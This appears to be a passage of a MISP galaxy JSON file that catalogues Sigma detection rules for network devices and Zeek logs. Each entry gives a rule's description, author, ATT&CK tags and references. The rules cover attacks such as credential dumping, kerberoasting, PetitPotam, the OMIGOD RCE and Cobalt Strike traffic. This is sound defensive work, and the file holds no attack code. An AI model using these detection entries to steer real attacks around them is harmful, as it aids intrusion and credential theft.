misp-galaxy/clusters/sigma-rules.json

{
  "authors": [
    "@Joseliyo_Jstnk"
  ],
  "category": "rules",
  "description": "MISP galaxy cluster based on Sigma Rules.",
  "name": "Sigma-Rules",
  "source": "https://github.com/jstnk9/MISP/tree/main/misp-galaxy/sigma",
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      "description": "Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing.",
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        "author": "Tim Brown",
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          "https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf",
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      "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels.\nEnsure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.\n",
      "meta": {
        "author": "Alexandr Yampolskyi, SOC Prime, Tim Shelton",
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          "Unknown"
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          "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf",
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          "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/",
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      "description": "Detects strings used in command execution in DNS TXT Answer",
      "meta": {
        "author": "Markus Neis",
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          "Unknown"
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        "level": "high",
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_input_capture.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "8187bd2a-866f-4457-9009-86b0ddedffa3",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b094d9fb-b1ad-4650-9f1a-fb7be9f1d34b",
      "value": "Cisco Show Commands Input"
    },
    {
      "description": "Collect pertinent data from the configuration files",
      "meta": {
        "author": "Austin Clark",
        "creation_date": "2019/08/11",
        "falsepositive": [
          "Commonly run by administrators"
        ],
        "filename": "cisco_cli_collect_data.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "cisco",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_collect_data.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.credential_access",
          "attack.collection",
          "attack.t1087.001",
          "attack.t1552.001",
          "attack.t1005"
        ]
      },
      "related": [
        {
          "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cd072b25-a418-4f98-8ebc-5093fb38fe1a",
      "value": "Cisco Collect Data"
    },
    {
      "description": "Turn off logging locally or remote",
      "meta": {
        "author": "Austin Clark",
        "creation_date": "2019/08/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "cisco_cli_disable_logging.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "cisco",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_disable_logging.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9e8f6035-88bf-4a63-96b6-b17c0508257e",
      "value": "Cisco Disabling Logging"
    },
    {
      "description": "Detect a system being shutdown or put into different boot mode",
      "meta": {
        "author": "Austin Clark",
        "creation_date": "2019/08/15",
        "falsepositive": [
          "Legitimate administrators may run these commands, though rarely."
        ],
        "filename": "cisco_cli_dos.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "cisco",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_dos.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1495",
          "attack.t1529",
          "attack.t1565.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "f5bb433e-bdf6-4781-84bc-35e97e43be89",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d94a35f0-7a29-45f6-90a0-80df6159967c",
      "value": "Cisco Denial of Service"
    },
    {
      "description": "Show when a monitor or a span/rspan is setup or modified",
      "meta": {
        "author": "Austin Clark",
        "creation_date": "2019/08/11",
        "falsepositive": [
          "Admins may setup new or modify old spans, or use a monitor for troubleshooting"
        ],
        "filename": "cisco_cli_net_sniff.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "cisco",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_net_sniff.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.discovery",
          "attack.t1040"
        ]
      },
      "related": [
        {
          "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b9e1f193-d236-4451-aaae-2f3d2102120d",
      "value": "Cisco Sniffing"
    },
    {
      "description": "Find local accounts being created or modified as well as remote authentication configurations",
      "meta": {
        "author": "Austin Clark",
        "creation_date": "2019/08/12",
        "falsepositive": [
          "When remote authentication is in place, this should not change often"
        ],
        "filename": "cisco_cli_local_accounts.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "cisco",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_local_accounts.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1136.001",
          "attack.t1098"
        ]
      },
      "related": [
        {
          "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6d844f0f-1c18-41af-8f19-33e7654edfc3",
      "value": "Cisco Local Accounts"
    },
    {
      "description": "Show when private keys are being exported from the device, or when new certificates are installed",
      "meta": {
        "author": "Austin Clark",
        "creation_date": "2019/08/12",
        "falsepositive": [
          "Not commonly run by administrators. Also whitelist your known good certificates"
        ],
        "filename": "cisco_cli_crypto_actions.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "cisco",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_crypto_actions.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.defense_evasion",
          "attack.t1553.004",
          "attack.t1552.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1f978c6a-4415-47fb-aca5-736a44d7ca3d",
      "value": "Cisco Crypto Commands"
    },
    {
      "description": "Clear command history in network OS which is used for defense evasion",
      "meta": {
        "author": "Austin Clark",
        "creation_date": "2019/08/12",
        "falsepositive": [
          "Legitimate administrators may run these commands"
        ],
        "filename": "cisco_cli_clear_logs.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "cisco",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_clear_logs.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ceb407f6-8277-439b-951f-e4210e3ed956",
      "value": "Cisco Clear Logs"
    },
    {
      "description": "Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels",
      "meta": {
        "author": "Tim Brown",
        "creation_date": "2023/01/09",
        "falsepositive": [
          "Unlikely. Except due to misconfigurations"
        ],
        "filename": "cisco_ldp_md5_auth_failed.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "cisco",
        "refs": [
          "https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/ldp/cisco_ldp_md5_auth_failed.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.defense_evasion",
          "attack.credential_access",
          "attack.collection",
          "attack.t1078",
          "attack.t1110",
          "attack.t1557"
        ]
      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "50e606bf-04ce-4ca7-9d54-3449494bbd4b",
      "value": "Cisco LDP Authentication Failures"
    },
    {
      "description": "Detects BGP failures which may be indicative of brute force attacks to manipulate routing",
      "meta": {
        "author": "Tim Brown",
        "creation_date": "2023/01/09",
        "falsepositive": [
          "Unlikely. Except due to misconfigurations"
        ],
        "filename": "cisco_bgp_md5_auth_failed.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "cisco",
        "refs": [
          "https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/bgp/cisco_bgp_md5_auth_failed.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.defense_evasion",
          "attack.credential_access",
          "attack.collection",
          "attack.t1078",
          "attack.t1110",
          "attack.t1557"
        ]
      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
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      "value": "Cisco BGP Authentication Failures"
    },
    {
      "description": "Detects BGP failures which may be indicative of brute force attacks to manipulate routing.",
      "meta": {
        "author": "Tim Brown",
        "creation_date": "2023/01/09",
        "falsepositive": [
          "Unlikely. Except due to misconfigurations"
        ],
        "filename": "huawei_bgp_auth_failed.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "huawei",
        "refs": [
          "https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/huawei/bgp/huawei_bgp_auth_failed.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.defense_evasion",
          "attack.credential_access",
          "attack.collection",
          "attack.t1078",
          "attack.t1110",
          "attack.t1557"
        ]
      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
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      "value": "Huawei BGP Authentication Failures"
    },
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      "description": "Detects the presence of default Cobalt Strike certificate in the HTTPS traffic",
      "meta": {
        "author": "Bhabesh Raj",
        "creation_date": "2021/06/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "zeek_default_cobalt_strike_certificate.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_default_cobalt_strike_certificate.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.s0154"
        ]
      },
      "uuid": "7100f7e3-92ce-4584-b7b7-01b40d3d4118",
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    },
    {
      "description": "Detects connections from routable IPs to an RDP listener - which is indicative of a publicly-accessible RDP service.",
      "meta": {
        "author": "Josh Brower @DefensiveDepth",
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          "Although it is recommended to NOT have RDP exposed to the internet, verify that this is a) allowed b) the server has not already been compromised via some brute force or remote exploit since it has been exposed to the internet. Work to secure the server if you are unable to remove it from being exposed to the internet."
        ],
        "filename": "zeek_rdp_public_listener.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://attack.mitre.org/techniques/T1021/001/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_rdp_public_listener.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1fc0809e-06bf-4de3-ad52-25e5263b7623",
      "value": "Publicly Accessible RDP Service"
    },
    {
      "description": "Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting",
      "meta": {
        "author": "sigma",
        "creation_date": "2020/02/12",
        "falsepositive": [
          "Normal enterprise SPN requests activity"
        ],
        "filename": "zeek_susp_kerberos_rc4.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://adsecurity.org/?p=3458",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_susp_kerberos_rc4.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1558.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "503fe26e-b5f2-4944-a126-eab405cc06e5",
      "value": "Kerberos Network Traffic RC4 Ticket Encryption"
    },
    {
      "description": "Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam.\nThe usage of this RPC function should be rare if ever used at all.\nThus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate.\n View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc..'\n",
      "meta": {
        "author": "@neu5ron, @Antonlovesdnb, Mike Remen",
        "creation_date": "2021/08/17",
        "falsepositive": [
          "Uncommon but legitimate windows administrator or software tasks that make use of the Encrypting File System RPC Calls. Verify if this is common activity (see description)."
        ],
        "filename": "zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://vx-underground.org/archive/Symantec/windows-vista-network-attack-07-en.pdf",
          "https://msrc.microsoft.com/update-guide/vulnerability/ADV210003",
          "https://threatpost.com/microsoft-petitpotam-poc/168163/",
          "https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f99106eb128e7d1e/PetitPotam/PetitPotam.cpp",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml"
        ],
        "tags": [
          "attack.t1557.001",
          "attack.t1187"
        ]
      },
      "related": [
        {
          "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4096842a-8f9f-4d36-92b4-d0b2a62f9b2a",
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    {
      "description": "A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/05/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "zeek_http_webdav_put_request.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://github.com/OTRF/detection-hackathon-apt29/issues/17",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_webdav_put_request.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1048.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "705072a5-bb6f-4ced-95b6-ecfa6602090b",
      "value": "WebDav Put Request"
    },
    {
      "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe",
      "meta": {
        "author": "Samir Bousseaden, @neu5rn",
        "creation_date": "2020/04/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "zeek_smb_converted_win_atsvc_task.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_atsvc_task.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.persistence",
          "car.2013-05-004",
          "car.2015-04-001",
          "attack.t1053.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "dde85b37-40cd-4a94-b00c-0b8794f956b5",
      "value": "Remote Task Creation via ATSVC Named Pipe - Zeek"
    },
    {
      "description": "Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/",
      "meta": {
        "author": "SOC Prime, Adam Swan",
        "creation_date": "2020/05/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "zeek_http_executable_download_from_webdav.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://github.com/OTRF/detection-hackathon-apt29",
          "http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_executable_download_from_webdav.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "aac2fd97-bcba-491b-ad66-a6edf89c71bf",
      "value": "Executable from Webdav"
    },
    {
      "description": "Identifies IPs performing DNS lookups associated with common Tor proxies.",
      "meta": {
        "author": "Saw Winn Naung , Azure-Sentinel",
        "creation_date": "2021/08/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "zeek_dns_torproxy.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/ASimDNS/imDNS_TorProxies.yaml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_torproxy.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1048"
        ]
      },
      "related": [
        {
          "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a8322756-015c-42e7-afb1-436e85ed3ff5",
      "value": "DNS TOR Proxies"
    },
    {
      "description": "Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request.\nVerify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP).\nWithin the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.\n",
      "meta": {
        "author": "Nate Guagenti (neu5ron)",
        "creation_date": "2021/09/20",
        "falsepositive": [
          "Exploits that were attempted but unsuccessful.",
          "Scanning attempts with the abnormal use of the HTTP POST method with no indication of code execution within the HTTP Client (Request) body. An example would be vulnerability scanners trying to identify unpatched versions while not actually exploiting the vulnerability. See description for investigation tips."
        ],
        "filename": "zeek_http_omigod_no_auth_rce.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://twitter.com/neu5ron/status/1438987292971053057?s=20",
          "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_omigod_no_auth_rce.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.initial_access",
          "attack.execution",
          "attack.lateral_movement",
          "attack.t1068",
          "attack.t1190",
          "attack.t1203",
          "attack.t1021.006",
          "attack.t1210"
        ]
      },
      "related": [
        {
          "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ab6b1a39-a9ee-4ab4-b075-e83acf6e346b",
      "value": "OMIGOD HTTP No Authentication RCE"
    },
    {
      "description": "Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE",
      "meta": {
        "author": "@neu5ron, SOC Prime",
        "creation_date": "2020/03/19",
        "falsepositive": [
          "Windows administrator tasks or troubleshooting",
          "Windows management scripts or software"
        ],
        "filename": "zeek_dce_rpc_mitre_bzar_execution.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://github.com/mitre-attack/bzar#indicators-for-attck-execution",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047",
          "attack.t1053.002",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b640c0b8-87f8-4daa-aef8-95a24261dd1d",
      "value": "MITRE BZAR Indicators for Execution"
    },
    {
      "description": "Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml",
      "meta": {
        "author": "Samir Bousseaden, @neu5ron",
        "creation_date": "2020/03/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "zeek_smb_converted_win_impacket_secretdump.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_impacket_secretdump.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002",
          "attack.t1003.004",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "92dae1ed-1c9d-4eff-a567-33acbd95b00e",
      "value": "Possible Impacket SecretDump Remote Activity - Zeek"
    },
    {
      "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one",
      "meta": {
        "author": "Samir Bousseaden, @neu5ron, Tim Shelton",
        "creation_date": "2020/04/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "zeek_smb_converted_win_susp_psexec.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_susp_psexec.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f1b3a22a-45e6-4004-afb5-4291f9c21166",
      "value": "Suspicious PsExec Execution - Zeek"
    },
    {
      "description": "NKN is a networking service using blockchain technology to support a decentralized network of peers. While there are legitimate uses for it, it can also be used as a C2 channel. This rule looks for a DNS request to the ma>",
      "meta": {
        "author": "Michael Portera (@mportatoes)",
        "creation_date": "2022/04/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "zeek_dns_nkn.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://github.com/nknorg/nkn-sdk-go",
          "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/",
          "https://github.com/Maka8ka/NGLite",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_nkn.yml"
        ],
        "tags": [
          "attack.command_and_control"
        ]
      },
      "uuid": "fa7703d6-0ee8-4949-889c-48c84bc15b6f",
      "value": "New Kind of Network (NKN) Detection"
    },
    {
      "description": "Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.",
      "meta": {
        "author": "@neu5ron, SOC Prime",
        "creation_date": "2020/03/19",
        "falsepositive": [
          "Windows administrator tasks or troubleshooting",
          "Windows management scripts or software"
        ],
        "filename": "zeek_dce_rpc_mitre_bzar_persistence.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "zeek",
        "refs": [
          "https://github.com/mitre-attack/bzar#indicators-for-attck-persistence",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_persistence.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "6836813e-8ec8-4375-b459-abb388cb1a35",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "53389db6-ba46-48e3-a94c-e0f2cefe1583",
      "value": "MITRE BZAR Indicators for Persistence"
    },
    {
